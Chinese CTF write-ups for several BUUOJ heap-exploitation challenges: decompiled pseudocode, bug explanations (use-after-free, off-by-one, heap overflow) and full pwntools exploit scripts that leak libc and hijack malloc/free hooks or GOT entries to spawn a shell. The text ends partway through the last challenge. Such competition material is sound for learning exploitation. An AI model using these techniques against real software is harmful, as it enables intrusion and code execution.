v2 = v0;
if ( v0 >= 0LL && v0 <= 15LL )
{
v4 = *((signed int *)&unk_202040 + 4 * v0);
if ( v4 == 1 )
{
*((_DWORD *)&unk_202040 + 4 * v0) = 0;
*((_DWORD *)&unk_202044 + 4 * v0) = 0;
free((void *)qword_202048[2 * v0]);
qword_202048[2 * v2] = 0LL;
}
}
return v4;
}
show
__int64 sub_1122()
{
unsigned int v1; // [rsp+0h] [rbp-10h]
__int64 v2; // [rsp+0h] [rbp-10h]
printf("index: ");
LODWORD(v2) = sub_BE0(v1);
HIDWORD(v2) = v2;
if ( (signed int)v2 >= 0 && (signed int)v2 <= 15 )
{
LODWORD(v2) = *((_DWORD *)&unk_202040 + 4 * (signed int)v2);
if ( (_DWORD)v2 == 1 )
{
printf("content: ", v2);
LODWORD(v2) = sub_108E(qword_202048[2 * SHIDWORD(v2)], *((unsigned int *)&unk_202044 + 4 * SHIDWORD(v2)));
}
}
return (unsigned int)v2;
}
参考0x03 [V&N2020 公开赛]simpleHeap,思路一样
EXP
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
p = process('./chall')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
one = [0x45216,0x4527a,0xf02a4,0xf1147]
else:
p = remote('node3.buuoj.cn', 28692)
libc = ELF('./libc-2.23.so', checksec=False)
one = [0x45216,0x4526a,0xf02a4,0xf1147]
elf = ELF('./chall', checksec=False)
def add(size):
p.sendlineafter('choice: ','1')
p.sendlineafter('size: ', str(size))
def edit(index, size, content):
p.sendlineafter('choice: ', '2')
p.sendlineafter('index: ', str(index))
p.sendlineafter('size: ', str(size))
p.sendafter('content', content)
def free(index):
p.sendlineafter('choice: ', '3')
p.sendlineafter('index: ', str(index))
def show(index):
p.sendlineafter('choice: ', '4')
p.sendlineafter('index: ', str(index))
add(0x58) #0
add(0x60) #1
add(0x60) #2
add(0x60) #3
pd = 'a'*0x58 + '\xe1'
edit(0,0x58+0xa,pd)
free(1)
add(0x60)
show(2)
p.recvuntil('content: ')
main_arean = u64(p.recv(6).ljust(8,'\x00')) - 0x58
libc_base = main_arean - 0x3c4b20
malloc_hook = libc_base+libc.sym['__malloc_hook']
realloc = libc_base+libc.sym['__libc_realloc']
fake_chunk = malloc_hook - 0x23
success('libc_base = ' + hex(libc_base))
add(0x60)
free(2)
edit(4,0x8,p64(fake_chunk))
add(0x60)
add(0x60)
pd = 'a'*0xb + p64(libc_base + one[1]) + p64(realloc+13)
edit(5,len(pd),pd)
add(0x60)
p.interactive()
[V&N2020 公开赛]easyTHeap
思路
保护
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
#ubuntu18
add
signed int sub_AFF()
{
signed int result; // eax
int v1; // [rsp+8h] [rbp-8h]
signed int v2; // [rsp+Ch] [rbp-4h]
v1 = sub_AB2();
if ( v1 == -1 )
return puts("Full");
printf("size?");
result = sub_9EA();
v2 = result;
if ( result > 0 && result <= 256 )
{
qword_202080[v1] = malloc(result);
if ( !qword_202080[v1] )
{
puts("Something Wrong!");
exit(-1);
}
dword_202060[v1] = v2;
result = puts("Done!");
}
return result;
}
分配size<=0x100的chunk
edit
int sub_BEA()
{
signed int v1; // [rsp+Ch] [rbp-4h]
printf("idx?");
v1 = sub_9EA();
if ( v1 < 0 || v1 > 6 || !qword_202080[v1] )
exit(0);
printf("content:");
read(0, (void *)qword_202080[v1], (unsigned int)dword_202060[v1]);
return puts("Done!");
}
show
int sub_CA4()
{
signed int v1; // [rsp+Ch] [rbp-4h]
printf("idx?");
v1 = sub_9EA();
if ( v1 < 0 || v1 > 6 || !qword_202080[v1] )
exit(0);
puts((const char *)qword_202080[v1]);
return puts("Done!");
}
free
int sub_D2C()
{
signed int v1; // [rsp+Ch] [rbp-4h]
printf("idx?");
v1 = sub_9EA();
if ( v1 < 0 || v1 > 6 || !qword_202080[v1] )
exit(0);
free((void *)qword_202080[v1]);
dword_202060[v1] = 0;
return puts("Done!");
}
UAF
1.利用两次free泄露heap地址。
2.利用double stack来改写tcache生成的0x251块的记录tcache链个数的值为7,free堆块,泄露libc地址。
3.改写tcache生成的0x251块的记录tcache链地址的值为malloc_hook,改写malloc_hook,拿shell。
libc2.27 1.4已经不可以直接连续free两次了,本地无法调试
EXP
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
p = process('./chall')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('node3.buuoj.cn', 25960)
libc = ELF('./libc-2.27.so', checksec=False)
elf = ELF('./chall', checksec=False)
def add(size):
p.sendlineafter("choice: ",'1')
p.sendlineafter("size?",str(size))
def edit(index,content):
p.sendlineafter('choice: ','2')
p.sendlineafter("idx?",str(index))
p.sendlineafter("content:",content)
def show(index):
p.sendlineafter("choice: ",'3')
p.sendlineafter("idx?",str(index))
def free(index):
p.sendlineafter("choice: ",'4')
p.sendlineafter("idx?",str(index))
add(0x100)#0
add(0x10)#1
free(0)
free(0)
show(0)
heap_addr = u64(p.recv(6).ljust(8,'\x00'))-0x250
add(0x100)#2
edit(2,p64(heap_addr))
add(0x100)#3
add(0x100)#4
edit(4,'\x00'*15 + '\x07')
free(0)
show(0)
libcbase = u64(p.recv(6).ljust(8,'\x00')) - 0x3ebca0
malloc_hook = libcbase + libc.symbols['__malloc_hook']
realloc = libcbase + libc.symbols['realloc']
one_ge=[0x4f2c5,0x4f322,0x10a38c]
edit(4,'\x00'*15+'\x01'+p64(0)*21+p64(malloc_hook-8))
#gdb.attach(p)
print p64(libcbase+one_ge[2])+p64(realloc+4)
#p.interactive()
add(0x100)#5
#gdb.attach(p)
print 'one_ge[2]:'+ str(hex(libcbase+one_ge[2]))
print 'realloc+4:' +str(hex(realloc+4))
edit(5,p64(libcbase+one_ge[2])+p64(realloc+4))
#gdb.attach(p)
add(0x100)
p.interactive()
ciscn_2019_n_3
思路
保护
[*] '/root/CTF/pwn/ciscn_2019_n_3/chall'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
#ubuntu18
add
int do_new()
{
int v1; // eax
int v2; // [esp+0h] [ebp-18h]
int v3; // [esp+4h] [ebp-14h]
unsigned int size; // [esp+Ch] [ebp-Ch]
v2 = ask((int)"Index");
if ( v2 < 0 || v2 > 16 )
return puts("Out of index!");
if ( records[v2] )
return printf("Index #%d is used!\n", v2);
records[v2] = (int)malloc(0xCu);
v3 = records[v2];
*(_DWORD *)v3 = rec_int_print;
*(_DWORD *)(v3 + 4) = rec_int_free;
puts("Blob type:");
puts("1. Integer");
puts("2. Text");
v1 = ask((int)"Type");
if ( v1 == 1 )
{
*(_DWORD *)(v3 + 8) = ask((int)"Value");
}
else
{
if ( v1 != 2 )
return puts("Invalid type!");
size = ask((int)"Length");
if ( size > 0x400 )
return puts("Length too long, please buy pro edition to store longer note!");
*(_DWORD *)(v3 + 8) = malloc(size);
printf("Value > ");
fgets(*(char **)(v3 + 8), size, stdin);
*(_DWORD *)v3 = rec_str_print;
*(_DWORD *)(v3 + 4) = rec_str_free;
}
puts("Okey, got your data. Here is it:");
return (*(int (__cdecl **)(int))v3)(v3);
}
records[v2]:存储 chunk 的地址
*v3:存储 rec_int_print 函数地址用于打印存储的值和类型。
*(v3 + 4):存储 free 函数地址,用于释放 chunk 。
(v3 + 8):存储用户输入的值,如果值的类型为整数,则直接存在 (v3 + 8) 中,如果值的类型为字符串,则 *(v3 + 8) 存的是字符串的地址。
free
int __cdecl rec_str_free(void *ptr)
{
free(*((void **)ptr + 2));
free(ptr);
return puts("Note freed!");
}
如果值是整数,直接 free chunk 如果值是字符串,则 chunk 和存储字符串的 chunk 都要 free。
UAF
创建 chunk 0、chunk 1、chunk 2
利用 chunk 1 和 chunk 2 进行 fastbin attack 将 chunk 1 的 rec_str_free 覆盖为 system 的 plt 表。
利用 chunk 1 的 string 对应的 chunk 进行 use after free 将 /bin/sh 写入 chunk 1 的 string chunk 中。
触发 del 函数中的 free(*(ptr + 2)),即执行 system('/bin/sh')
EXP
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
debug = 2
context(arch='i386', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
p = process('./chall')
else:
p = remote('node3.buuoj.cn', 26995)
elf = ELF('./chall', checksec=False)
def add(idx,type,value,length=0):
p.recvuntil('CNote > ')
p.sendline(str(1))
p.recvuntil('Index > ')
p.sendline(str(idx))
p.recvuntil('Type > ')
p.sendline(str(type))
if type == 1:
p.recvuntil('Value > ')
p.sendline(str(value))
else:
p.recvuntil('Length > ')
p.sendline(str(length))
p.recvuntil('Value > ')
if length == 8:
p.send(value)
else:
p.sendline(value)
def free(idx):
p.recvuntil('CNote > ')
p.sendline(str(2))
p.recvuntil('Index > ')
p.sendline(str(idx))
add(0,2,'a'*10,0x88)#0
add(1,2,'a'*10,0x38)#1
add(2,1,0x41)#2
free(1)
free(2)
add(3,2,'bash'+p32(elf.plt['system']),0xc) #把 system 的 plt 表地址写入 chunk 1 的 rec_str_free 中
add(4,2,'/bin/sh\x00',0x38)#把 /bin/sh 写入 chunk 1 的 string 对应的 chunk 中
free(1) # free(*(ptr + 2)) 相当于执行 system('/bin/sh')
p.interactive()
ciscn_2019_final_3
思路
保护
[*] '/root/CTF/pwn/ciscn_2019_final_3/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
#ubuntu18
add
unsigned __int64 sub_CE1()
{
__int64 v0; // rax
__int64 v1; // rax
int v2; // ebx
__int64 v3; // rax
size_t size; // [rsp+0h] [rbp-20h]
unsigned __int64 v6; // [rsp+8h] [rbp-18h]
v6 = __readfsqword(0x28u);
v0 = std::operator<<<std::char_traits<char>>(&std::cout, "input the index");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
std::istream::operator>>(&std::cin, (char *)&size + 4);
if ( qword_2022A0[HIDWORD(size)] || HIDWORD(size) > 0x18 )
exit(0);
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "input the size");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
std::istream::operator>>(&std::cin, &size);
if ( (unsigned int)size <= 0x78 )
{
v2 = HIDWORD(size);
qword_2022A0[v2] = malloc((unsigned int)size);
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "now you can write something");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
sub_CBB(qword_2022A0[HIDWORD(size)], (unsigned int)size);
puts("OK!");
printf("gift :%p\n", qword_2022A0[HIDWORD(size)]);
}
return __readfsqword(0x28u) ^ v6;
}
只能申请小于0x78大小的chunk,不能超过24个,题目给了申请到内存空间的地址
free
unsigned __int64 sub_E73()
{
__int64 v0; // rax
unsigned int v2; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
v0 = std::operator<<<std::char_traits<char>>(&std::cout, "input the index");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
std::istream::operator>>(&std::cin, &v2);
if ( v2 > 0x18 )
exit(0);
free((void *)qword_2022A0[v2]);
return __readfsqword(0x28u) ^ v3;
}
UAF
利用uaf漏洞,指向一个堆的size域,修改为0x400以上,在delete就可以进入unsorted bin中,泄露libc地址
劫持free_hook函数,libc2.27 1.4 更新完了没有dup,本地打不了
EXP
# encoding=utf-8
from pwn import *
#context.log_level = 'debug'
#p = process("./chall")
p = remote("node3.buuoj.cn",28417)
elf = ELF("./chall")
libc = ELF("./libc.so.6")
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(index,size,content):
p.sendlineafter('choice > ',str(1))
p.sendlineafter('input the index\n',str(index))
p.sendlineafter('input the size\n',str(size))
p.sendlineafter('something\n',content)
p.recvuntil("gift :")
ptr = int(p.recv(14),16)
print index,":",hex(ptr)
return ptr
def remove(index):
p.sendlineafter('choice > ',str(2))
p.sendlineafter('input the index\n',str(index))
ptr0 = add(0,0x50,'a'*0x10)
add(1,0x70,'b'*0x10)
add(2,0x70,'c'*0x10)
add(3,0x50,'/bin/sh\x00')
add(4,0x10,'d'*0x10)
remove(0)
remove(0)
add(5,0x50,p64(ptr0-0x11e60))
add(6,0x50,'\x10')
add(7,0x50,'\x05'+'a'*3+'\x03'+'a'*(0x40-5)+p64(ptr0+0x50))
add(8,0x10,p64(0)+p64(0x101))
remove(0)
remove(0)
remove(1)#unsortedbin
add(9,0x50,p64(ptr0+0x60))
add('10',0x50,'\xd0')
add('11',0x50,'\xa0')
main_arena_addr = add('12',0x50,'\x50')-96
libc_base = main_arena_addr - libc.sym['__malloc_hook'] - 0x10
malloc_hook_addr = main_arena_addr-0x10
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0x4f3c2
sys_addr = libc_base + libc.sym['system']
remove(0)
remove(0)
add('13',0x50,p64(free_hook))
add('14',0x50,'\11')
add('15',0x50,p64(sys_addr))
p.recvuntil("choice > ")
p.sendline('2')
p.sendlineafter("input the index\n",'3')
p.interactive()
hitcontraining_magicheap
思路
保护
[*] '/root/CTF/Pwn/hitcontraining_magicheap/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
#ubuntu16
add
unsigned __int64 create_heap()
{
signed int i; // [rsp+4h] [rbp-1Ch]
size_t size; // [rsp+8h] [rbp-18h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !heaparray[i] )
{
printf("Size of Heap : ");
read(0, &buf, 8uLL);
size = atoi(&buf);
heaparray[i] = malloc(size);
if ( !heaparray[i] )
{
puts("Allocate Error");
exit(2);
}
printf("Content of heap:", &buf);
read_input(heaparray[i], size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v4;
}
}
return __readfsqword(0x28u) ^ v4;
}
heaparray 数组:存放 chunk 的首地址。
edit
int edit_heap()
{
__int64 v1; // [rsp+0h] [rbp-10h]
__int64 v2; // [rsp+8h] [rbp-8h]
printf("Index :");
read(0, (char *)&v1 + 4, 4uLL);
LODWORD(v1) = atoi((const char *)&v1 + 4);
if ( (signed int)v1 < 0 || (signed int)v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( !heaparray[(signed int)v1] )
return puts("No such heap !");
printf("Size of Heap : ", (char *)&v1 + 4, v1);
read(0, (char *)&v1 + 4, 8uLL);
v2 = atoi((const char *)&v1 + 4);
printf("Content of heap : ", (char *)&v1 + 4, v1);
read_input(heaparray[(signed int)v1], v2);
return puts("Done !");
}
可以选择输入大小。如果我们这次输入的 size 比创建时大的话,就会导致堆溢出
free
int delete_heap()
{
int v1; // [rsp+8h] [rbp-8h]
char buf; // [rsp+Ch] [rbp-4h]
printf("Index :");
read(0, &buf, 4uLL);
v1 = atoi(&buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( !heaparray[v1] )
return puts("No such heap !");
free(heaparray[v1]);
heaparray[v1] = 0LL;
return puts("Done !");
}
释放对应 index 的 chunk
main
if ( v5 > 3 )
{
if ( v5 == 4 )
exit(0);
if ( v5 == 4869 )
{
if ( (unsigned __int64)magic <= 0x1305 )
{
v4 = "So sad !";
puts("So sad !");
}
else
{
v4 = "Congrt !";
puts("Congrt !");
l33t();
}
}
magic 为在 bss 段的全局变量,如果我们能够控制 v5 为 4849 并且覆写 magic 使其值大于 0x1305 ,就能 get shell
l33t
int l33t()
{
return system("/bin/sh");
}
unsorted bin attack 覆盖 magic 为一个很大的值
EXP
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
p = process(['./chall'])
else:
p = remote('node3.buuoj.cn', 29310)
elf = ELF('./chall', checksec=False)
def add(size,content):
p.recvuntil(':')
p.sendline('1')
p.recvuntil(':')
p.sendline(str(size))
p.recvuntil(':')
p.sendline(content)
def edit(idx,size,content):
p.recvuntil(':')
p.sendline('2')
p.recvuntil(':')
p.sendline(str(idx))
p.recvuntil(':')
p.sendline(str(size))
p.recvuntil(':')
p.sendline(content)
def free(idx):
p.recvuntil(':')
p.sendline('3')
p.recvuntil(':')
p.sendline(str(idx))
magic = 0x6020a0
target = magic - 0x10
add(0x100,'aaaa') #0
add(0x100,'bbbb') #1
add(0x100,'cccc') #2
free(1)
pd = 'a' * 0x100 + p64(0) + p64(0x111) + p64(0) + p64(target)
edit(0,0x200,pd)
add(0x100,'aaaa') #0
p.recvuntil(':')
p.sendline('4869')
p.interactive()
hitcontraining_heapcreator
思路
保护
[*] '/root/CTF/Pwn/hitcontraining_heapcreator/heapcreator'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
#ubuntu18
add
unsigned __int64 create_heap()
{
_QWORD *v0; // rbx
signed int i; // [rsp+4h] [rbp-2Ch]
size_t size; // [rsp+8h] [rbp-28h]
char buf; // [rsp+10h] [rbp-20h]
unsigned __int64 v5; // [rsp+18h] [rbp-18h]
v5 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !heaparray[i] )
{
heaparray[i] = malloc(0x10uLL);
if ( !heaparray[i] )
{
puts("Allocate Error");
exit(1);
}
printf("Size of Heap : ");
read(0, &buf, 8uLL);
size = atoi(&buf);
v0 = heaparray[i];
v0[1] = malloc(size);
if ( !*((_QWORD *)heaparray[i] + 1) )
{
puts("Allocate Error");
exit(2);
}
*(_QWORD *)heaparray[i] = size;
printf("Content of heap:", &buf);
read_input(*((_QWORD *)heaparray[i] + 1), size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v5;
}
}
return __readfsqword(0x28u) ^ v5;
}
先创建了0x10的堆,用来存放size和指向content的指针。
edit
unsigned __int64 edit_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, &buf, 4uLL);
v1 = atoi(&buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v1] )
{
printf("Content of heap : ", &buf);
read_input(*((_QWORD *)heaparray[v1] + 1), *(_QWORD *)heaparray[v1] + 1LL);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
off-by-one
free
unsigned __int64 delete_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, &buf, 4uLL);
v1 = atoi(&buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v1] )
{
free(*((void **)heaparray[v1] + 1));
free(heaparray[v1]);
heaparray[v1] = 0LL;
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
show
unsigned __int64 show_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, &buf, 4uLL);
v1 = atoi(&buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v1] )
{
printf("Size : %ld\nContent : %s\n", *(_QWORD *)heaparray[v1], *((_QWORD *)heaparray[v1] + 1));
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
将size和指向content的指针打印出来。
单字节溢出,造成堆重叠, free_got写到content处,然后show打印出free_got地址,再将free_got改写为system
EXP
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
debug = 1
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
p = process(['./chall'])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('node3.buuoj.cn', 29310)
libc = ELF('./libc-2.23.so')
elf = ELF('./chall', checksec=False)
def add(size,content):
p.recvuntil('choice :')
p.sendline('1')
p.recvuntil('Heap : ')
p.sendline(str(size))
p.recvuntil('heap:')
p.sendline(content)
def edit(idx,content):
p.recvuntil('choice :')
p.sendline('2')
p.recvuntil(' :')
p.sendline(str(idx))
p.recvuntil('heap :')
p.sendline(content)
def show(idx):
p.recvuntil('choice :')
p.sendline('3')
p.recvuntil(' :')
p.sendline(str(idx))
def free(idx):
p.recvuntil('choice :')
p.sendline('4')
p.recvuntil(' :')
p.sendline(str(idx))
add(0x18,'aaaa')
add(0x10,'bbbb')
add(0x10,'cccc')
edit(0,'/bin/sh\x00'+'a'*0x10+'\x81')
free(1)
gdb.attach(p)
add(0x70,'p'*0x10+p64(0)+p64(0x21)+p64(0x70)+p64(elf.got['free']))
show(1)
free_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = free_addr - libc.sym['free']
system_addr = libc_base + libc.sym['system']
edit(1,p64(system_addr))
free(0)
p.interactive()
0ctf_2017_babyheap
思路
保护
[*] '/root/CTF/Pwn/0ctf_2017_babyheap/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
#ubuntu16
add
void __fastcall sub_D48(__int64 a1)
{
signed int i; // [rsp+10h] [rbp-10h]
signed int v2; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]
for ( i = 0; i <= 15; ++i )
{
if ( !*(_DWORD *)(24LL * i + a1) )
{
printf("Size: ");
v2 = sub_138C();
if ( v2 > 0 )
{
if ( v2 > 4096 )
v2 = 4096;
v3 = calloc(v2, 1uLL);
if ( !v3 )
exit(-1);
*(_DWORD *)(24LL * i + a1) = 1;
*(_QWORD *)(a1 + 24LL * i + 8) = v2;
*(_QWORD *)(a1 + 24LL * i + 16) = v3;
printf("Allocate Index %d\n", (unsigned int)i);
}
return;
}
}
}
edit
__int64 __fastcall sub_E7F(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = sub_138C();
v2 = result;
if ( (signed int)result >= 0 && (signed int)result <= 15 )
{
result = *(unsigned int *)(24LL * (signed int)result + a1);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = sub_138C();
v3 = result;
if ( (signed int)result > 0 )
{
printf("Content: ");
result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
}
}
}
return result;
}
没有检查size,size可以为任意值。造成堆溢出。
free
signed __int64 __fastcall sub_F50(__int64 a1)
{
signed __int64 result; // rax
int v2; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = sub_138C();
v2 = result;
if ( (signed int)result >= 0 && (signed int)result <= 15 )
{
result = *(unsigned int *)(24LL * (signed int)result + a1);
if ( (_DWORD)result == 1 )
{
*(_DWORD *)(24LL * v2 + a1) = 0;
*(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
free(*(void **)(24LL * v2 + a1 + 16));
result = 24LL * v2 + a1;
*(_QWORD *)(result + 16) = 0LL;
}
}
return result;
}
show
int __fastcall sub_1051(__int64 a1)
{
int result; // eax
int v2; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = sub_138C();
v2 = result;
if ( result >= 0 && result <= 15 )
{
result = *(_DWORD *)(24LL * result + a1);
if ( result == 1 )
{
puts("Content: ");
sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
result = puts(byte_14F1);
}
}
return result;
}
chunk overlapping,这样我们只要吧chunk1给释放掉就可以泄露unsorted bin 的地址了
利用fastbin attack,修改malloc_hook为one_gadget
EXP
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
p = process(['./chall'])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
one = [0x45226,0x4527a,0xf0364,0xf1207]
else:
p = remote('node3.buuoj.cn', 25086)
libc = ELF('./libc-2.23.so', checksec=False)
one = [0x45216,0x4526a,0xf02a4,0xf1147]
elf = ELF('./chall', checksec=False)
def add(size):
p.recvuntil('Command: ')
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(size))
def edit(idx,size,content):
p.recvuntil('Command: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(idx))
p.recvuntil('Size: ')
p.sendline(str(size))
p.recvuntil('Content: ')
p.sendline(content)
def free(idx):
p.recvuntil('Command: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(idx))
def show(idx):
p.recvuntil('Command: ')
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(idx))
add(0x58) #0
add(0x60) #1
add(0x60) #2
add(0x60) #3
pd = 'a'*0x58 + '\xe1'
edit(0,len(pd),pd)
free(1)
add(0x60)
show(2)
p.recvuntil('Content: ')
main_arean = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x58
libc_base = main_arean - 0x3c4b20
malloc_hook = libc_base+libc.sym['__malloc_hook']
realloc = libc_base+libc.sym['__libc_realloc']
fake_chunk = malloc_hook - 0x23
success('main_arean = ' + hex(main_arean))
success('libc_base = ' + hex(libc_base))
add(0x60)
free(2)
edit(4,0x8,p64(fake_chunk))
add(0x60)
add(0x60)
pd = 'a'*0x13 + p64(libc_base + one[1])
edit(5,len(pd),pd)
add(0x60)
p.interactive()
hitcontraining_bamboobox
思路
保护
[*] '/root/CTF/Pwn/hitcontraining_bamboobox/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
#Ubuntu16
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
_QWORD *v3; // [rsp+8h] [rbp-18h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
v3 = malloc(0x10uLL);
*v3 = hello_message;
v3[1] = goodbye_message;
((void (__fastcall *)(signed __int64, _QWORD))*v3)(16LL, 0LL);
while ( 1 )
{
menu();
read(0, &buf, 8uLL);
switch ( atoi(&buf) )
{
case 1:
show_item();
break;
case 2:
add_item();
break;
case 3:
change_item();
break;
case 4:
remove_item();
break;
case 5:
((void (__fastcall *)(char *, char *))v3[1])(&buf, &buf);
exit(0);
return;
default:
puts("invaild choice!!!");
break;
}
}
}
先创建一个0x10大小的堆,用来存放hello和goodbye。
exit之前会先调用goodbye
add
__int64 add_item()
{
signed int i; // [rsp+4h] [rbp-1Ch]
int v2; // [rsp+8h] [rbp-18h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
if ( num > 99 )
{
puts("the box is full");
}
else
{
printf("Please enter the length of item name:");
read(0, &buf, 8uLL);
v2 = atoi(&buf);
if ( !v2 )
{
puts("invaild length");
return 0LL;
}
for ( i = 0; i <= 99; ++i )
{
if ( !qword_6020C8[2 * i] )
{
*((_DWORD *)&itemlist + 4 * i) = v2;
qword_6020C8[2 * i] = malloc(v2);
printf("Please enter the name of item:");
*(_BYTE *)(qword_6020C8[2 * i] + (signed int)read(0, (void *)qword_6020C8[2 * i], v2)) = 0;
++num;
return 0LL;
}
}
}
return 0LL;
}
(&itemlist + 4 i):存放 name 的大小
qword_6020C8[2 * i]:存放 chunk 的地址
edit
unsigned __int64 change_item()
{
int v0; // ST08_4
int v2; // [rsp+4h] [rbp-2Ch]
char buf; // [rsp+10h] [rbp-20h]
char nptr; // [rsp+20h] [rbp-10h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index of item:");
read(0, &buf, 8uLL);
v2 = atoi(&buf);
if ( qword_6020C8[2 * v2] )
{
printf("Please enter the length of item name:", &buf);
read(0, &nptr, 8uLL);
v0 = atoi(&nptr);
printf("Please enter the new name of the item:", &nptr);
*(_BYTE *)(qword_6020C8[2 * v2] + (signed int)read(0, (void *)qword_6020C8[2 * v2], v0)) = 0;
}
else
{
puts("invaild index");
}
}
else
{
puts("No item in the box");
}
return __readfsqword(0x28u) ^ v5;
}
大小没有限制,可以导致堆溢出。
free
unsigned __int64 remove_item()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index of item:");
read(0, &buf, 8uLL);
v1 = atoi(&buf);
if ( qword_6020C8[2 * v1] )
{
free((void *)qword_6020C8[2 * v1]);
qword_6020C8[2 * v1] = 0LL;
*((_DWORD *)&itemlist + 4 * v1) = 0;
puts("remove successful!!");
--num;
}
else
{
puts("invaild index");
}
}
else
{
puts("No item in the box");
}
return __readfsqword(0x28u) ^ v3;
}
show
int show_item()
{
signed int i; // [rsp+Ch] [rbp-4h]
if ( !num )
return puts("No item in the box");
for ( i = 0; i <= 99; ++i )
{
if ( qword_6020C8[2 * i] )
printf("%d : %s", (unsigned int)i, qword_6020C8[2 * i]);
}
return puts(byte_401089);
}
